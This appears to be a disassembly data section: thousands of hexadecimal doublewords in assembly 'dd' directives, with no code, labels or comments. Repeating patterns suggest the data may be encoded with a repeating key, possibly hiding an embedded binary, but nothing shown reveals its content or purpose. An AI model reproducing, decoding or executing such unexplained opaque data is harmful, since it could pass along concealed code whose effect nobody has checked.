		dd 0DE8F0302h, 62511A07h, 531947B1h, 0B336BAB1h, 0CA306A79h
		dd 2A4B10F1h, 32370108h, 325D42B1h, 61D9D5B1h, 9417671Ah
		dd 73582968h, 0CA56BA90h, 0BE595DB1h, 3256AEB0h, 0CB56574Dh
		dd 0DB56AB4Dh, 3256D5BEh, 582FA9F6h, 0FA4142A9h, 1C10830Fh
		dd 323A42E7h, 324447B1h, 5AD657B1h, 0A153B21Bh,	7538C427h
		dd 2FBB2AE6h, 1C880729h, 3D56BA49h, 32565C30h, 32565BB1h
		dd 325ADCBEh, 0B759ABB1h, 3256D5B7h, 32566FBEh,	325675B1h
		dd 0D0D643D1h, 32563C47h, 3256BE58h, 9D5192B1h,	802E39BFh
		dd 7FBA6BB4h, 0DA813BE5h, 0DB5675DBh, 3256BAB6h, 0A75106E7h
		dd 32F86809h, 35BFA2B1h, 6A56ABB1h, 41102107h, 32562D0Dh
		dd 32567C58h, 0C1C0AFB1h, 0C6E00573h, 3256DDF7h, 533600D1h
		dd 53801DEBh, 32AFD5B1h, 3ED9E5B1h, 525675B1h, 56A63BD7h
		dd 31BFE75Fh, 3237BDB0h, 2BDE58B1h, 0DB56ABB1h,	3256D5A5h
		dd 2033217Eh, 0BF02AC1Fh, 86FC7F75h, 3F37CB52h,	0AB97F96Fh
		dd 32AF57B1h, 324242B1h, 104ED5B1h, 16E7B44Ch, 0D2BBA05Ah
		dd 0F89CCCAEh, 17EEA727h, 32AE7DE9h, 0BD5937B1h, 3256ABA3h
		dd 3256D959h, 50FE0DB1h, 0ACED29E5h, 0B0484FAFh, 0A6EF049Fh
		dd 5361237Eh, 0B05957B1h, 3256ABBDh, 325052BEh,	0B659EAB1h
		dd 325675B1h, 8830E9D1h, 540F5B7Bh, 3237543Ah, 3ED558B1h
		dd 5256ABB1h, 8D896FD7h, 3A383930h, 32377F67h, 0B330DAB1h
		dd 3D0E9343h, 52375006h, 32565D59h, 0DEC8B2B1h,	0B6BA929Ch
		dd 52E9A312h, 0BE592DD0h, 3256BAB3h, 32375405h,	21BF56B1h
		dd 0FC5657B1h, 36289958h, 8AEC6B9Ah, 6A1A0BD4h,	37A475A1h
		dd 3256714Fh, 32564C58h, 8BE17DB1h, 0C9813D3Fh,	4EBCD721h
		dd 3D056635h, 32569C08h, 0C7567544h, 0B659BAB1h, 32565DB0h
		dd 5256AE48h, 32565858h, 770159B1h, 0F4735318h,	0F6B11980h
		dd 57F01066h, 325536BEh, 0F7D65DB1h, 3256CF83h,	0DB565748h
		dd 3256ABB8h, 9AF500C8h, 8C1EAA9Fh, 52567508h, 3256B658h
		dd 2115CB1h, 0CEB8C884h, 97EBF52Ah, 323753CCh, 0DB362CB1h
		dd 3256EAB4h, 35760A86h, 32505331h, 0E3E65DB1h,	7D71744Ah
		dd 3D5657D0h, 3256AA39h
		dd 32562CB1h, 3256F958h, 0FC668FB1h, 0F51A4CAAh, 0B23F7372h
		dd 9C920ED5h, 0EA3FC1AAh, 32AAABB1h, 3CD7DAB1h,	0DB56EAB1h
		dd 325675B8h, 7F1623ACh, 0EA59B1D1h, 3D56AE5Dh,	32564F31h
		dd 20D9A4B1h, 0DB56D5B1h, 3256EABCh, 488BFB3h, 9EC631A2h
		dd 18A31F85h, 3FBFCE84h, 0CE5657B1h, 51A7D73Ch,	6B79CA7Eh
		dd 763A3D8h, 0C0D713E7h, 530D9FD6h, 0BA595DB1h,	3256AEB0h
		dd 0DB565744h, 3256ABA2h, 0A1EEED98h, 0AF88F96Ah, 73BBA96Dh
		dd 34E2E5B7h, 329A64A5h, 0F4DDCEB1h, 0CB5657D0h, 0DB56AB4Dh
		dd 3256D5BAh, 23DA0557h, 999F71B5h, 327E14A2h, 33DD52B1h
		dd 0CB56AEB1h, 3D3657B1h, 32375106h, 32533CB1h,	0DD0CEAB1h
		dd 0DB5AAA01h, 3256BAA0h, 27E74C12h, 3BEFE6C0h,	0B5CBBC3Dh
		dd 0D6946C54h, 0DB56D565h, 3256EABDh, 0E496EF8Ah, 423ABF29h
		dd 6782223Ah, 0BF59AEB1h, 325657B0h, 3D56AB49h,	3256D43Eh
		dd 325616B1h, 3248FABEh, 0B659BAB1h, 32565DA9h,	3256BD58h
		dd 8AC570B1h, 93A66B95h, 0B536FBB9h, 4EECD0BFh,	4B2440C5h
		dd 0DBAEBAB1h, 32565DB9h, 0CBA2FE9h, 2B484D97h,	3EBFABB1h
		dd 156D5B1h, 9A7549A7h,	694021Fh, 320A71B9h, 3245B4B1h
		dd 6870AEB1h, 77D92F84h, 0A092AFE0h, 0E442657h,	0F6D6E334h
		dd 0C756753Fh, 39BFBAB1h, 0D6565DB1h, 53287719h, 50EE2654h
		dd 32561DF5h, 0CB56D54Dh, 0DB56EA49h, 325675A5h, 0D5E1FB3Dh
		dd 0C64057A9h, 2D99357h, 17273F3Ch, 7A5EC006h, 3D36D5B1h
		dd 3256EF3Eh, 0ED51CFB1h, 8559B866h, 32563C6Eh,	0C756AE44h
		dd 3ABF57B1h, 4B56ABB1h, 450632Bh, 3269987Ah, 2BD97AB1h
		dd 5256BAB1h, 70FFE5D7h, 3256A058h, 4ED71FB1h, 5AC816D4h
		dd 89356819h, 53FB7C46h, 3D3675B1h, 3ABF710Eh, 0A1565DB1h
		dd 53C8FAA5h, 532C0B34h, 0B236ABB1h, 5237C363h,	53CE5E4Dh
		dd 52AF75B1h, 0D0E15608h, 53A5D698h, 32AAAEB1h,	35D758B1h
		dd 3D56ABB1h, 3256D436h, 325612B1h, 0E3D713D1h,	85594E3Ch
		dd 32563C6Fh, 3256A158h, 627B00B1h, 0D63A72E7h,	4E0A527Fh
		dd 0A7D6AA07h, 32566558h, 32A04DB1h, 8FFCB9E9h,	0AECC314Ch
		dd 4B929619h, 0CA56AB84h, 5256D54Dh, 0B7856BD7h, 54AE150Bh
		dd 0F3FA5530h, 32563CD0h, 3D56AE4Dh, 32564436h,	35BFCBB1h
		dd 0AF56D5B1h, 0D6A96E79h, 0B3308882h, 537D535Ah, 325DD9BEh
		dd 34BFAEB1h, 2A5657B1h, 65C31FF5h, 3D56D54Fh, 3256EC30h
		dd 0EADC15B1h, 32376C3Ah, 325AB4B1h, 2020AEB1h,	94ADAAF0h
		dd 6E95D692h, 325655E9h, 37DCE5D1h, 8B5675B1h, 1EDFFBA1h
		dd 32564C58h, 8280C6B1h, 1ECEE0EDh, 0EFA32C9Ch,	2C53872Bh
		dd 32374223h, 7CE715B1h, 538C31D7h, 0CBAE5DB1h,	32AFAEB1h
		dd 38BF37B1h, 9A56ABB1h, 0DD076B01h, 0D78265B0h, 323780C7h
		dd 325E53B1h, 96A05DB1h, 698EDA10h, 3256D740h, 325E20BEh
		dd 0BF59D5B1h, 3256EAB3h, 325614D1h, 3D56BA44h,	32565C35h
		dd 23BF57B1h, 9F5657B1h, 7DF48698h, 0F25C867h, 1B99F74Bh
		dd 8839AE0Eh, 3D36BAB1h, 32565F32h, 549518B1h, 721E8930h
		dd 5256ABD0h, 3256D258h, 600846B1h, 154461B0h, 4D7D4B0Bh
		dd 32563C88h, 3256A858h, 90738DB1h, 329FE866h, 325629B1h
		dd 3256E358h, 4E1EABB1h, 0E9441AD3h, 3256DDC1h,	3256BD58h
		dd 0B14559B1h, 5C19618Ch, 87C2EDA4h, 233F9B55h,	0A0879CEEh
		dd 39BFBAB1h, 0AF565DB1h, 0E8D94945h, 99DB12B2h, 32568A06h
		dd 3256DF58h, 7E901CB1h, 757DCE86h, 3D2A01BBh, 32564A3Fh
		dd 324447B1h, 31C57B1h,	0C1AEFCBEh, 37757B4Dh, 7AA99234h
		dd 5197F4F6h, 0B336BAB1h, 44C0865Eh, 39BFCE84h,	365657B1h
		dd 13463462h, 9DD0966Fh, 0BC594C66h, 325675B1h,	3256DBD0h
		dd 325EB5D1h, 0A1C7AEB1h, 152ECAD3h, 0B259F30Ch, 3256D5B1h
		dd 0FCEC8CEEh, 325614EBh, 3256B358h, 0DFC7D8B1h, 0B7AE4755h
		dd 3256C04Ch, 5256AB48h, 3256D259h, 1EFECBB1h, 0D505BE6Ch
		dd 52853BD7h, 323702C7h, 325652B1h, 32564758h, 6281E2B1h
		dd 385A9181h, 0B73A82C3h, 0F54D3048h, 3D56BAD9h, 32564F3Dh
		dd 3ED4A1B1h, 0DB5657B1h, 3256ABB6h, 0C76163DCh, 321A40BCh
		dd 325689B1h, 3256A958h, 1AEC13B1h, 0E720FE3Ch,	907E8EFBh
		dd 0C956E44Dh, 0EFEB1FEAh, 0BA59EAB1h, 325675BBh, 0F1E1B5D1h
		dd 0A916ED0Eh, 3256CFF4h, 32565C58h, 4D8CC8B1h,	0E785CF1Ch
		dd 90B36234h, 0BB5975B1h, 3256BAB0h, 0CA565D48h, 5436AEB1h
		dd 0E1168730h, 3256A559h, 689BFEB1h, 655BBABBh,	28994DD7h
		dd 0DA673C4Ch, 32565DB4h, 0C092CA65h, 53090FB0h, 32AEABB1h
		dd 325620B1h, 3256F858h, 0C3B9F4B1h, 431D207Dh,	2DB84697h
		dd 0F34280C5h, 0CABD0509h, 0B359ABB1h, 3256D5A8h, 3256FE58h
		dd 480364B1h, 5EC09EA7h, 0E35291AAh, 0D7A0EC56h, 7A00E6B1h
		dd 0DB56AB55h, 3256D5B7h, 68C3C83h, 325643B1h, 324F30BEh
		dd 26BF5DB1h, 0DA56AEB1h, 212A3083h, 59F018D8h,	464F4ED8h
		dd 0A74DE9C1h, 32910A45h, 3FDAB5B1h, 0DB565DB1h, 3256AEB9h
		dd 0E27B800Dh, 0EE955628h, 32AED5B1h, 3ED9E5B1h, 3D5675B1h
		dd 3256BC35h, 32D552B1h, 3256AEB1h, 38BF37B1h, 2556ABB1h
		dd 43DE4497h, 0BCA1A9F4h, 0F3E17AA9h, 3D56BAD0h, 32564C32h
		dd 325A47B1h, 12457B1h,	45672982h, 0EB97425Eh, 32567D04h
		dd 3D567549h, 3256A13Ah, 27D152B1h, 0DB56AEB1h,	325657A1h
		dd 0F6CAFD5Ch, 2D7270DBh, 15C47D9Bh, 0CE3E9746h, 26BFBAB1h
		dd 4A565DB1h, 0BDEDB5A8h, 9B7702DFh, 0FAECC5EBh, 7B0F9AFAh
		dd 327941F4h, 325C9CB1h, 0F532BAB1h, 424C65DAh,	5D9E10F8h
		dd 0DB565748h, 3256ABB4h, 426CA971h, 3D56EA98h,	32567A31h
		dd 0D5DCDAB1h, 32565B58h, 57320DB1h, 53BBD064h,	3BBFABB1h
		dd 3F56D5B1h, 0B33B15F2h, 43146D1Eh, 0DB36BAB1h, 32565DBCh
		dd 0B1B325D7h, 0F0A83D1Eh, 12DA5B84h, 3256B47Bh, 325E6DBEh
		dd 0B35975B1h, 3256BAB3h, 32563CD1h, 325A28BEh,	35BF57B1h
		dd 8256ABB1h, 61A23C89h, 3256D1CFh, 325E9DD1h, 7C4BBAB1h
		dd 0E74CAADEh, 530F9CF7h, 3ABF57B1h, 9756ABB1h,	0DE6B90C2h
		dd 3292E86Bh, 0B93015B1h, 8D59EC40h, 32370773h,	325F47B1h
		dd 558757B1h, 6528FCA4h, 321D9B50h, 325103B1h, 0EA5A75B1h
		dd 49878A32h, 0CE565DA5h, 3256A058h, 0F51BE6B1h, 7ED9A28Bh
		dd 0CC8B24BFh, 322842E2h, 32519CB1h, 0EFC6BAB1h, 68B881F6h
		dd 5256AEDCh, 0A633EED1h, 37EFD486h, 530F90C3h,	32D3E5E7h
		dd 6A5675B1h, 0CE56BAD0h, 80365DB1h, 0C3E8C8B0h, 3D363611h
		dd 3256AE30h, 0FCD7B3B1h, 53AEC53Fh, 32AF75B1h,	37BFDAB1h
		dd 0D5565DB1h, 5B2B2F1Ah, 525657D0h, 0E1912AD7h, 3256B4EEh
		dd 3256E158h, 0F1A9CCB1h, 12A74117h, 0F96B5748h, 23BFAEB1h
		dd 0EC5657B1h, 630E2831h, 0B6484A10h, 1068BAB4h, 41C6ADC2h
		dd 5436BAB1h, 21BEAA3Ah, 3956AEB1h, 5CBFA56Dh, 0B389703Eh
		dd 9817FC98h, 0FFF78519h, 3DBFF559h, 0E756BAB1h, 49B3EE27h
		dd 0D6882669h, 3BD9BB51h, 530E573Bh, 20BFD5B1h,	2C56EAB1h
		dd 0E1573E3Bh, 5FCE543Bh, 166B9085h, 0B086FE06h, 3256AF51h
		dd 0CA56AB44h, 0B259D5B1h, 3256EAB0h, 325B9C48h, 2BAB1h
		dd 0E0748A8Ah, 0AF54BDAh, 32B693D3h, 3BDFA4B1h,	5256D5B1h
		dd 830E52D7h, 53ADCABEh, 3DAABAB1h, 32564438h, 3EBFCEB1h
		dd 0B75657B1h, 3CDABDE3h
		dd 42F85E80h, 3DAE7E4Ch, 3256753Fh, 3256DBB1h, 3D565D4Dh
		dd 3256BC31h, 325BBEB1h, 0B333ABB1h, 961DEAC6h,	0AD01D695h
		dd 32B4B305h, 33D2B5B1h, 0CA565DB1h, 0C7A3AEB1h, 0CAAE57B1h
		dd 0B859ABB1h, 3256D5B6h, 0F8D78CD1h, 3237129Eh, 33DDB5B1h
		dd 0CE565DB1h, 530EF9D1h, 26BF57B1h, 4056ABB1h,	983AC28Ah
		dd 247CB6A4h, 36ED4765h, 83AAB627h, 3224A32Bh, 3AD5A1B1h
		dd 3D5657B1h, 3256A93Ch, 3237B5B1h, 33D9E5B1h, 0C75675B1h
		dd 3D36BAB1h, 32565B34h, 55BD2FB1h, 637F9670h, 2BE813D7h
		dd 3256B4E9h, 325003D1h, 478C75B1h, 6093C650h, 0B1BBA30h
		dd 3237F12Eh, 0B859AEB1h, 3256ABB8h, 888C5ED1h,	2B51E3EEh
		dd 0DB5675D0h, 3256BAA1h, 1EC656B3h, 0F1A4B054h, 2108D89Ah
		dd 2F0DDA2h, 0B336D5B1h, 0AA04D562h, 325614EEh,	3D56BA4Dh
		dd 32564838h, 324647B1h, 0D08157B1h, 91B4C339h,	0E5125CBEh
		dd 8AD8BD54h, 3256AEA8h, 0CA56BA49h, 54365DB1h,	0B930603Ah
		dd 32563672h, 3256A258h, 0EA07E4B1h, 4D88CFBFh,	3256BC30h
		dd 45E6E8D1h, 32563CEEh, 0CE56AE44h, 3D3657B1h,	3256A931h
		dd 5337B5B1h, 325E02D1h, 0E9C475B1h, 835B0841h,	8D305A88h
		dd 520C52A7h, 3242BE48h, 9C6BABB1h, 5FF47E03h, 0C26419B7h
		dd 678FD472h, 459FB243h, 5337B8C6h, 6336AEB1h, 530C5805h
		dd 5436ABB1h, 0E17E0430h, 3256E359h, 89B272B1h,	0A3E04577h
		dd 0B9308D89h, 3237F766h, 0B65937B1h, 3256ABB1h, 53602431h
		dd 0B459EAB1h, 325675A5h, 3256B558h, 0A52F1BB1h, 0C543A96Ah
		dd 89479A71h, 7FF0164Ch, 3D36D5B1h, 0BD592D06h,	325675B0h
		dd 3256DB48h, 325AD5BEh, 0BC59AEB1h, 325657B7h,	325625BEh
		dd 3256D5B1h, 0EAE9E5D1h, 3237B407h, 325F53B1h,	0C9915DB1h
		dd 2BFACD91h, 32ABA216h, 325653B1h, 4BEEB3D1h, 538A5C3Fh
		dd 11F2CBD1h, 0DB36CC4Dh, 32565DB6h, 66A57E36h,	0DBB4DD5Eh
		dd 3256ABA1h, 653F1AECh, 2B78B13h, 85FF81FEh, 115A318Eh
		dd 32563CD0h, 32584744h, 467157B1h, 0B004F287h,	1BB9DCEBh
		dd 0CF7D33AEh, 34BF75B1h, 0DA56BAB1h, 0BB8FB0B5h, 3D56AE8Fh
		dd 3256563Ch, 32565EB1h, 5256D549h, 3256ED59h, 0FF1053B1h
		dd 2910F6F6h, 3256D4BEh, 540CAEB1h, 3237A63Ah, 325142B1h
		dd 0F6F1D5B1h, 44B7C5A6h, 3D567585h, 3256A837h,	325BB4B1h
		dd 4DDFAEB1h, 0C51C9F3h, 676F541Eh, 32142163h, 3ED1E5B1h
		dd 3D5675B1h, 3256BC3Ah, 32DD52B1h, 5256AEB1h, 0B22AA531h
		dd 3237DC6Bh, 0B3AFB5B1h, 0AA41D063h, 325614C9h, 3256AA58h
		dd 0E517F1B1h, 0FEF7E229h, 0B754A21Bh, 70A12C0Eh, 3D56D5D7h
		dd 3256F93Ah, 13E915B1h, 0DB0ED044h, 32565DB6h,	0EEAC5C4Eh
		dd 534E9EA2h, 0DB36ABB1h, 3256D5B8h, 39AA14CDh,	814360Bh
		dd 0CE374F77h, 0BE595DB1h, 3256AEA2h, 32565958h, 6BF604B1h
		dd 69D2B125h, 3BDFE07Ch, 0C76C3F8Dh, 26BFBAB1h,	8565DB1h
		dd 764EFF40h, 0CC01C205h, 9791E594h, 46F9BCEh, 3DB1F865h
		dd 32567E3Ah, 325053B1h, 0DA845DB1h, 0C33712Eh,	32AE57B1h
		dd 325A42B1h, 0C0FED5B1h, 2CEA36CCh, 0CF54483Ah, 325607CFh
		dd 3257D3BEh, 32AAAEB1h, 35BF37B1h, 0CB56ABB1h,	0FEEBE695h
		dd 0B9306F57h, 0B5591443h, 3256BAA2h, 325EB4D1h, 0B957AEB1h
		dd 0AC95A0EFh, 8930DD27h, 3237AB57h, 32561FB1h,	325AFDBEh
		dd 0B659BAB1h, 32565DB7h, 32562EBEh, 325657B1h,	32512ABEh
		dd 3D36D5B1h, 6D043B06h, 525675D0h, 23BE443Ah, 36565DB1h
		dd 0E55027C0h, 0E1DF3376h, 703BCD43h, 0ADCC5D85h, 325662BEh
		dd 530975B1h, 0DBAEBAB1h, 32565DB7h, 917247F9h,	32561318h
		dd 30D5A4D1h, 5256D5B1h, 530859D0h, 813675B1h, 3256DB18h
		dd 0B9A8D6D1h, 3256CF62h, 2BD55844h, 5256ABB1h,	22BFB4D1h
		dd 9C56EAB1h, 0F7B1EF71h, 99A76E5Ah, 0A3F7966Ah, 532522C0h
		dd 52A357B1h, 8930483Bh, 3237B21Ch, 33DFE5B1h, 0CE5675B1h
		dd 5436BAB1h, 5415D00Bh, 32375C3Ah, 3250BEB1h, 4CA7ABB1h
		dd 3CFD9F8h, 0B459EAB1h, 325675A0h, 3256B658h, 4EF4F5B1h
		dd 550815ADh, 0E073DDA9h, 21D5A495h, 0DB56D5B1h, 3256EABFh
		dd 6FDC55FDh, 0AF2AE349h, 8F660213h, 3256770Ah,	3D565748h
		dd 3256AC32h, 33D4DAB1h, 0CB56EAB1h, 3D3675B1h,	3256B934h
		dd 0EADD3BB1h, 3256A258h, 0E37DCAB1h, 5FD1FECDh, 34BADC68h
		dd 32568BADh, 37D57A48h, 5256BAB1h, 5385D649h, 32AAAEB1h
		dd 3253BEB1h, 3AE3ABB1h, 3D0421D3h, 3256ED38h, 33D87AB1h
		dd 0C756BAB1h, 0B7595DB1h, 3256AEA5h, 32565858h, 6DDEF4B1h
		dd 6EA07E77h, 0AB6F516Ch, 9509055h, 0B059BAB1h,	32565DB0h
		dd 3D56AE4Dh, 32565339h, 6806CBB1h, 3D56D5D0h, 3256E032h
		dd 0B65915B1h, 3256BAB1h, 3D376C06h, 3256A03Bh,	0B85937B1h
		dd 3256ABB1h, 325659BEh, 3237EAB1h, 32568CB1h, 3256B758h
		dd 7791F3B1h, 584EE9E8h, 1280CF00h, 6136FD85h, 531660EBh
		dd 3CBFEAB1h, 35675B1h,	0AC2D093Dh, 317531EFh, 730CE46Dh
		dd 3D5657C4h, 3256A538h, 0B359B5B1h, 3256EAB1h,	0B7DDA730h
		dd 0CE37E412h, 3FBF5DB1h, 0E756AEB1h, 5F492BDh,	0CD6F5270h
		dd 4E58A4F2h, 0BD59EAB1h, 325675B0h, 0DB56BA49h, 32565DB4h
		dd 31A39BB8h, 3D5657FFh, 3256B033h, 26BFB5B1h, 0C156EAB1h
		dd 53F1A0B4h, 0E78ADE9Dh, 0DA4C5D19h, 15909DA6h, 53BEE49Ah
		dd 3256AD58h, 0B6C3FEB1h, 321A0FDBh, 32AF80B1h,	38D1B5B1h
		dd 0DB565DB1h, 3256AEB4h, 6D2EB22Fh, 0DB56ABC7h, 3256D5B6h
		dd 8A89569Ah, 32C9FEE1h, 0C73642B1h, 5386E2BEh,	0B859AEB1h
		dd 325657AAh, 324325BEh, 22BFD5B1h, 3E56EAB1h, 0A9B29262h
		dd 2A20477Bh, 0DAB313C2h, 32F7ECD9h, 3FDC58B1h,	5256ABB1h
		dd 0F19854D7h, 32D5E5D7h, 535675B1h, 3256AA58h,	33B548B1h
		dd 9454728Ah, 0C531C4B5h, 0D13BEA13h, 3D56D5E8h, 3256F131h
		dd 22BE15B1h, 0EA56BAB1h, 0D2B28339h, 0B85F215Dh, 0AE61404Dh
		dd 6C632666h, 53EA1131h, 32AAEAB1h, 33D47AB1h, 0CE56BAB1h
		dd 35BF5DB1h, 4456AEB1h, 0D6802336h, 32563829h,	3256DF58h
		dd 0ABBB2EB1h, 0BE522C01h, 3271C5A5h, 26D952B1h, 0DB56AEB1h
		dd 325657BEh, 570B9286h, 3651C105h, 0F5965B93h,	322DE806h
		dd 0F9DDDAB1h, 32565858h, 1593D5B1h, 32379E51h,	38D8A4B1h
		dd 5256D5B1h, 548F61D7h, 4652B430h, 0CE56BAD0h,	34BF5DB1h
		dd 0AE56AEB1h, 1BA5388h, 3D56ABB4h, 3256D433h, 32561FB1h
		dd 3257F0BEh, 32AEBAB1h, 3FDB52B1h, 5256AEB1h, 0D8CD6D7h
		dd 32D7A4EEh, 5356D5B1h, 325761BEh, 32A375B1h, 3ED2B5B1h
		dd 3D565DB1h, 3256A833h, 32DB58B1h, 3256ABB1h, 3EDEDAB1h
		dd 3D56EAB1h, 32567339h, 32D9B5B1h, 52565DB1h, 325229BEh
		dd 8A3057B1h, 0C1D60C39h, 3256B4DFh, 0C0E9E5D1h, 0CA5675D0h
		dd 0BA59BAB1h, 32565DA0h, 3256A258h, 612977B1h,	0DC52786Ah
		dd 0ACFEA643h, 5256EADCh, 3254F5BEh, 0F3DDBAB1h, 8BAFE2D7h
		dd 0DA36CED0h, 325657BFh, 0AA44DC4Fh, 8352F930h, 9D199B23h
		dd 53082637h, 5256BAD0h, 88E93BD1h, 32DBA105h, 535657B1h
		dd 325F42D0h, 201CD5B1h, 4CD3317Ch, 52FED8C4h, 3256B358h
		dd 0BA7DF3B1h, 0E115AFEAh, 32BE899Dh, 6856ABB1h, 0A9B13F30h
		dd 39BFECABh, 0AA5675B1h, 0D213BD4h, 0E72F9FAh,	533631E6h
		dd 3251D6BEh, 0B759ABB1h
		dd 3256D5B0h, 0A3D36749h, 3D506C2Ah, 3256A332h,	21DE52B1h
		dd 0DB56AEB1h, 325657BFh, 0C9C90F25h, 4EBF2529h, 2876163Ch
		dd 0B0DF4539h, 344C3956h, 3248D3BEh, 0BE59AEB1h, 325657A9h
		dd 3256B858h, 5B198EB1h, 799A9A66h, 5E6112E2h, 42C1A27Bh
		dd 2472CBBDh, 56022C3Ch, 0B15951AAh, 3256ABB7h,	6037B5D1h
		dd 0B0DF8BEBh, 344CF1B5h, 325736BEh, 0DAAA5DB1h, 32569B2Bh
		dd 0DB20E7D1h, 3256ABBEh, 0ECAFD998h, 1E0AFD5Ah, 0D1BE2320h
		dd 537F781Bh, 306CB544h, 21BFAEB1h, 6B5657B1h, 1F6455EBh
		dd 0D4ED918Ch, 0A23466FBh, 346657CCh, 0B091AF29h, 344CDEEAh
		dd 3256AEB1h, 0F4A3054Dh, 265EE234h, 0BE5983B7h, 3256EAB6h
		dd 0DDD713D1h, 5A373DBAh, 0AEFEE5E3h, 325326BEh, 0CA3657B1h
		dd 0CD37CAD1h, 267AB004h, 33D9E5B7h, 0CA5675B1h, 4AA83F3Ch
		dd 0B2595BA6h, 3256AEBAh, 0F0E958D1h, 0E9567530h, 0CD37A6F0h
		dd 0B7DF1F61h, 34425EA4h, 5252D048h, 0B3369B3Bh, 8253AA5Bh
		dd 32DF58F6h, 5356ABB1h, 323E20D0h, 3D56EAA1h, 3256693Bh
		dd 24DFB5B1h, 0DB565DB1h, 3256AEA0h, 16C4D56Bh,	0D260C663h
		dd 0DA71E8BFh, 333B952Bh, 3F161D2Ch, 58A3BAB2h,	0E2A9A1B1h
		dd 3256A558h, 0CD9994B1h, 0CB33ABA8h, 0D94FBDD4h, 0F25D13EBh
		dd 337BF1BEh, 0B959BAB1h, 32565DB0h, 69D42748h,	52504D32h
		dd 7F8612D7h, 325758BEh, 53AEEAB1h, 3FD27AD1h, 0DB56BAB1h
		dd 32565DB9h, 7120B8DDh, 8D5728EFh, 325423BEh, 5336D5B1h
		dd 5DD463D0h, 0CB506F32h, 315BFA08h, 325CB4B1h,	5B69AEB1h
		dd 0C6150396h, 0FB69AE8Ch, 0DB362D3Ah, 3256EAA3h, 9D4384Bh
		dd 0F753D936h, 0A3D8F3F0h, 9842F791h, 0F0D7CEBCh, 62A113C2h
		dd 0C796E6D0h, 63364042h, 6391F4D7h, 0B930E428h, 0B2593C69h
		dd 3256AEB0h, 58A30549h, 323E53B5h, 5256D5A1h, 204554D7h
		dd 5A37B73Ah, 3256BEB1h, 3247B4D1h, 36D5AEB1h, 0AF86C62Fh
		dd 0CBA7F91Fh, 9818CB38h, 0DA375CBEh, 325675A3h, 578309B7h
		dd 56F5AC0Dh, 0DFD17BD4h, 0BF7AAF3Bh, 34BE881Dh, 0AF56D5B1h
		dd 75834F54h, 530E2E35h, 325132BEh, 0BD595DB1h,	3256AEB0h
		dd 3D563D49h, 3256AA3Eh, 0A0A929B1h, 3442C1A4h,	32D77AD1h
		dd 3D56BAB1h, 32565B3Eh, 32D6A1B1h, 535657B1h, 324442EBh
		dd 1597D5B1h, 3B50B9CDh, 0AB9D0632h, 4C9C1847h,	495A1EDDh
		dd 0B4842C38h, 53AF51ABh, 325128BEh, 8B36D5B1h,	562E6B4Bh
		dd 69D3FED0h, 0DB50A032h, 32565DA5h, 0CED56A92h, 0CF2C35EFh
		dd 7242F497h, 840FC78Fh, 0F6EE59CAh, 33D37A72h,	0C756BAB1h
		dd 0B259A1D1h, 3256AEB6h, 3257D9BEh, 0F5A3ABB1h, 26520033h
		dd 7256EAB7h, 36D37AB1h, 5256BAB1h, 0F53706E0h,	26443F33h
		dd 324657B7h, 0DB3757B1h, 3256D5BFh, 5B0BBFC3h,	0EC486CA4h
		dd 0A86B6993h, 5295EC83h, 0F8DD453Bh, 0B45937D0h, 3256ABBEh
		dd 3256DF58h, 0A522BCB1h, 0C16B379Dh, 0B97CECA2h, 28D5060Bh
		dd 0DD556B7h, 0F3D258B1h, 0DB56ABB1h, 3256D5BDh, 0B5722794h
		dd 55FCA3F3h, 39E093D5h, 30462232h, 32182ABEh, 0C7AA57B1h
		dd 3646D432h, 322A51BEh, 23BFEAB1h, 355675B1h, 3D89133Dh
		dd 0E0AC2D24h, 625F1B22h, 5DF66243h, 52426C32h,	0BE59023Ah
		dd 3256EAB3h, 0DB372BE3h, 3256BAA3h, 0EF7105B8h, 0B9C66EB5h
		dd 7E85B4EEh, 78A484A3h, 0BDBF8021h, 0CBA9154Eh, 33463276h
		dd 3D56BAB1h, 32565939h, 0FCDCCEB1h, 0CDE8BED0h, 0B659544Eh
		dd 3256D5B6h, 325761BEh, 0DBAA75B1h, 3256BAA3h,	58BAB098h
		dd 0A182930Ch, 8559C6C6h, 87FEBE4h, 759157AAh, 3256E9A1h
		dd 325D9CB1h, 6693BAB1h, 3AB40A18h, 542A82E8h, 0CD28BE76h
		dd 0C7AF544Eh, 3AD8DAD0h, 3D56EAB1h, 3256773Ch,	3D37DAB1h
		dd 3256443Ch, 324247B1h, 8A7B57B1h, 0DAD8AC1Fh,	0B83FAFAh
		dd 0A358C612h, 8EC51E11h, 0DB95FD56h, 32565DB7h, 0E3DB1530h
		dd 0DB03FD7Fh, 3256ABA3h, 9BAD6BCBh, 6B6D069Dh,	0ED58279Ch
		dd 47D117ABh, 0B9AE38BDh, 3FDEA15Dh, 0DB5657B1h, 3256ABB9h
		dd 0D29ECC06h, 0A39E0A11h, 3ED77AD1h, 3D56BAB1h, 32565B3Eh
		dd 32D2A1B1h, 0CB5657B1h, 3256AB59h, 0D8D78FB1h, 344C4A38h
		dd 3DA6FFD1h, 3256BB35h, 0CA37A5B1h, 0CBA425D1h, 0C6E4DCD0h
		dd 3D50B137h, 3256F23Ch, 3DBF8AB1h, 7C5675B1h, 9254644Fh
		dd 9112B843h, 0CD0C3E38h, 3EBF704Bh, 2356ABB1h,	0C93C8F9Ch
		dd 1B6FC114h, 53869340h, 8D59DAD1h, 537CE968h, 325522BEh
		dd 0EFD657B1h, 77DDCA8Ah, 34DF2CB9h, 54875FD1h,	5310DC0Fh
		dd 0B4A23832h, 0CB525BABh, 0B359CF48h, 325657BDh, 325021BEh
		dd 0B459D5B1h, 3256EAB1h, 9E31578h, 3694DB48h, 325FB4B1h
		dd 215BAEB1h, 0EF976439h, 525A2D3Fh, 32563D49h,	0B30CEAB1h
		dd 28F75B5Bh, 325B53B7h, 6FD65DB1h, 0EC31DA57h,	0DDA2D238h
		dd 0CB85EC9Bh, 3256D958h, 1FF854B1h, 0AA827150h, 0D4C34712h
		dd 0E0E4D60Dh, 5250B437h, 37DF5849h, 8C56ABB1h,	7E85061Bh
		dd 806D1FD0h, 344CF345h, 33383EBEh, 52365DB1h, 53AA6C3Bh
		dd 5268DCD0h, 539614BEh, 22BF0A3Ah, 0A56EAB1h, 0BC5CD55Bh
		dd 956EB444h, 0BBFF431Bh, 3DC1C1DFh, 3D571807h,	3256AC39h
		dd 33D1DAB1h, 0CE56EAB1h, 0B2573247h, 321C3FBEh, 52AA5DB1h
		dd 54047331h, 422EB730h, 0DB8FA8D0h, 3256D5BDh,	0B1A9AE6h
		dd 0E07D8E5h, 0FC61B343h, 32566B58h, 8436CEB1h,	5437AB08h
		dd 0E8806A30h, 27D0DAD0h, 0DB56EAB1h, 325675A1h, 420093F5h
